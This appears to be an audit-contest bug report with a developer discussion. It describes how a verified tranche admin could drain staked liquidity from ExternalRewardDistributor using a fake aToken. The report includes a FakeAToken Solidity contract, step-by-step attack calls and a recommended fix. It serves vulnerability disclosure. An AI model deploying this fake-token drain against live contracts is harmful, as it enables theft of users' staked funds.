Verified tranche admins can steal staked liquidity from all tranches

[hats-bug-reporter[bot]]

Github username: @bahurum Submission hash (on-chain): 0x8b57387e4a679ea296efd0c3abce065aea75a4ecf64a32d424a66bb6b3ea2edf Severity: high severity

Description:

Description

In ExternalRewardDistributor.removeStakingReward() and ExternalRewardDistributor.beginStakingReward() there is no check that the aToken passed as an argument is valid. This allows any verified tranche admin to pass a fake aToken and steal staked liquidity from any tranche.

Attack scenario

The vulnerability is somewhat similiar to one reported in the previous audit competition. See here.

Consider the following fake aToken contract.

contract FakeAToken {

    address public UNDERLYING_ASSET_ADDRESS; // staked underlying token to be stolen
    uint64 public _tranche; // tranche of which the attacker is a verified admin
    uint256 stakedAmount; // amount of underlying staked and to be stolen
    uint i; // counter

    constructor(address _underlying, uint64 _trancheId, uint256 _stakedAmount) {
        // attacker sets underlying and tranche of the aToken impersonated
        UNDERLYING_ASSET_ADDRESS = _underlying;
        _tranche = _trancheId;
        stakedAmount = _stakedAmount;
    }

    function totalSupply() external returns (uint) {
        if (i == 0) {  // do this so that the first time `totalSupply()` is 0
            i++;
            return 0;
        }
        return stakedAmount;
    }

    function send() external {
        uint balance = IERC20(UNDERLYING_ASSET_ADDRESS).balanceOf(address(this));
        IERC20(UNDERLYING_ASSET_ADDRESS).transfer(msg.sender, balance);
    }

}

The verified tranche admin will attack as follows:

1. Deploy the FakeAToken contract above with following constructor arguments:

   • underlying token address that is currently staked and to be stolen
   • actual tranche Id of which the attacker is verified admin
   • amount of underlying currently staked

2. Call ExternalRewardDistributor.beginStakingReward() with following arguments:

   • fake aToken address
   • actual staking contract where the underlying to be stolen is staked

   2.1 onlyVerifiedTrancheAdmin(IAToken(aToken)._tranche()) modifier will pass since msg.sender is the actual verified admin of the fake aToken's _tranche.

   2.2 stakingData[aToken] = stakingContract at L186 will map the fake aToken address to the actual staking contract for the underlying.

   2.3 uint256 amount = IERC20(aToken).totalSupply() at L192 will be 0 so the if block is skipped.

3. Call ExternalRewardDistributor.removeStakingReward() with the fake aToken address as argument.

   3.1 at L90, uint256 amount = IERC20(aToken).totalSupply() will be the amount of underlying staked into the staking contract.

   3.2 Inside unstake(aToken, amount), stakingData[aToken] has been previously set to the correct stakingContract for the underlying, so the underlying will be unstaked correctly.

   3.3 IERC20(underlying).safeTransfer(aToken, amount) at L93 transfers the unstaked underlying to the fake aToken contract.

4. Call FakeAToken.send() to get the stolen underlying.

Note that this allows the attacker to steal the full amount of staked underlying token and not only the amount staked coming from its own tranche. To steal all different staked underlying tokens, this can be repeated many times with different fake aTokens each with a different underlying and corresponding staking contract.

Recommendation

In functions removeStakingReward() and beginStakingReward() check that the aToken passed is indeed a valid aToken, adding the following require statement:

require(ILendingPool(addressesProvider.getLendingPool()).getReserveData(underlying, IAToken(aToken)._tranche()).aTokenAddress == aToken, "Incorrect aToken");

[ksyao2002]

Hi, thanks for the report. We have considered this and we don't believe this is an issue, due to the stakingExists check (also verified by@curiousapple). The global admin would have to first add the fake atoken that is malicious. Even so, the attack requires the attacker to be a verified tranche admin, which we assume is trusted, per the doc.

[bahurum]

Which stakingExists check? Can you point the line?

[ksyao2002]

Sorry, I meant this check: require(stakingTypes[stakingContract] != StakingType.NOT_SET)

The global admin would have to set the stakingTypes first

[bahurum]

That check passes because, as reported, in beginStakingReward() the attacker would pass the stakingContract for the underlying to steal. An already existing and validated staking contract. The global admin has already set that staking contract as a valid staking contract so stakingTypes[stakingContract] would be already set.